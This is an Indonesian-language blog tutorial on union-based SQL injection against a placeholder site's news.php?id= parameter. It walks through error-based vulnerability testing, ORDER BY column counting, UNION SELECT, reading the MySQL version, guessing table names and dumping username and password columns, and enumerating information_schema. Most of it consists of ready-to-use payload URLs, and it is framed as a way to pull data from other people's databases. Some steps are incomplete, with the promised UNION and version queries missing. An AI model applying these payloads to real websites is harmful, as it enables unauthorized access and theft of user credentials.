SQL Injection merupakan kelemahan dari web yang paling sering ditemukan saat ini. Singkatnya itu memungkinkan penyerang untuk menjalankan Query SQL di dalam URL web dan mendapatkan akses informasi dari database (Singkatnya begitu lah..)
Langkah2 nya begini…
1. cek vulnerabilitas suatu website
Misalkan alamat website contohnya adalah www.contoh.com/news.php?id=7
Sekarang test apakah ada kelemahan, dengan menambahkan tanda ‘ (petik satu)
Dan alamatnya akan mirip seperti
www.contoh.com/news.php?id=7'
Jika muncul error yang mirip mirip seperti :
Warning: “mysql_fetch_array(): supplied argument is not a valid MySQLresult resource in /www/web/contoh.com/news.php on line 99… bla bla bla…”
atau mirip mirip seperti
“You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc…”
Itu artinya website tersebut bisa diberikan SQL injection.
2. cek banyaknya kolom
Untuk menemukan banyaknya kolom dapat menggunakan statement ORDER BY.
Nah penggunaannya seperti berikut.
http://www.contoh.com/news.php?id=7 ORDER BY 1/* <– gak da Error
http://www.contoh.com/news.php?id=7 ORDER BY 2/* <– gak da Error
http://www.contoh.com/news.php?id=7 ORDER BY 3/* <– gak da Error
…
Intinya kita naikkan angkanya sampai kita dapatkan Error !!
…
http://www.contoh.com/news.php?id=7 ORDER BY 6/* <– gak da Error
http://www.contoh.com/news.php?id=7 ORDER BY 7/* <– muncul pesan ErroR
Itu artinya, bahwa itu memiliki 6 kolom, karena kita mendapati error pada angka ke 7.
3. Cek UNION Function
Dengan UNION kita dapat melakukan SELECT data di dalam SQL statement.
Dari nomer 2 kita tadi dapati memiliki kolom sebanyak 6, sehingga untuk mengecek UNION menjadi
Jika di layar halaman setelah loading muncul angka, misal 3 atau 4 atau keduanya, maka UNION bisa bekerja.
(Dalam contoh ini kita anggap muncul angka 3 dan 4). Oya, misalkan /* tidak bekerja, coba gunakan — (minus minus)
4. Cek Versi MySQL
Tadi dari nomer 3, muncul angka 3 dan 4. Sekarang kita gunakan kolom nomer 3 atau 4 itu untuk mengecek versi MySQL.
Sehingga akan menjadi seperti :
Hasilnya akan muncul versi MySQL, misal versi 5.0
NB: Seharusnya cara diatas gak error, tapi kalo misal error coba deh pake
http://www.contoh.com/news.php?id=7 UNION ALL SELECT 1,2,convert(@@version using latin1),4,5,6/*
atau pakai
http://www.contoh.com/news.php?id=7 UNION ALL SELECT 1,2,unhex(hex(@@version)),4,5,6/*
5. Mendapatkan nama tabel dan kolom.
Ini merupakan bagian yang agak susah apabila versi MySQL server kurang dari versi 5, karena butuh Hoki dan keberuntungan yang tinggi. (Uhh…)
Berikut saya jelaskan untuk MySQL versi < 5 .
Pada umumnya nama tabel adalah : tbl_user, user, admin
Pada umumnya nama kolom adalah : user, username, passwd, kode, password, id
Sekarang kita coba
http://www.contoh.com/news.php?id=7 UNION ALL SELECT 1,2,3,4,5,6 from tbl_user/*
Apabila beruntung, tidak muncul error, itu artinya tabel bernama “tbl_user” ada dalam database. Jika ternyata muncul pesan Error, coba dengan kemungkinan nama tabel lainnya.
Dari nomer 3 tadi, kolom nomer 3 dan 4 bisa kita pakai. Selanjutnya kita cari nama kolom (Yah.. lagi lagi nebak..)
http://www.contoh.com/news.php?id=7 UNION ALL SELECT 1,2,username,4,5,6 from tbl_user/*
atau
http://www.contoh.com/news.php?id=7 UNION ALL SELECT 1,2,3,username,5,6 from tbl_user/*
Nah, jika tidak Error maka harusnya muncul isi dari kolom username (:D)
Kalo error, coba deh cari kemungkinan nama kolom yang lain. (Pikir dunk…)
NB: Anda bisa menggunakan CONCAT, misal
http://www.contoh.com/news.php?id=7 UNION ALL SELECT 1,2,concat(username,char(32),password),4,5,6 from tbl_user/*
NAH SEKARANG UNTUK MYSQL V.5
MySQL v.5 menyimpan seluruh informasi tabel dan kolom di tabel bernama information_schema. Sehingga bisa:
http://www.contoh.com/news.php?id=7 UNION ALL SELECT 1,2,table_name,4,5,6 from information_schema.tables LIMIT 0,1/*
Di sini kita harus menggunakan limit agar ditampilkan satu persatu, jika tidak pakai Limit tidak bisa. Untuk nama tabel selanjutnya bisa dengan menambah LIMIT. Lakukan dari Limit (0,1) , (1,1), (1,2) , (2,3) … dst sampai anda menemukan informasi yang anda butuhkan.
Untuk kolom pun juga sama yaitu :
http://www.contoh.com/news.php?id=7 UNION ALL SELECT 1,2,column_name,4,5,6 from information_schema.columns LIMIT 0,1/*
OK, Thats aLL, jika ada yang dirasa kurang, anda bisa improvisasi sendiri. Jika ada yang kurang jelas, coba anda buka lagi buku handbook Database anda !!! ( :p emang ada tutoriale di situ????)
By BayuPRN :p keep smile and fun.




6 responses to “Tutorial SQL Injection”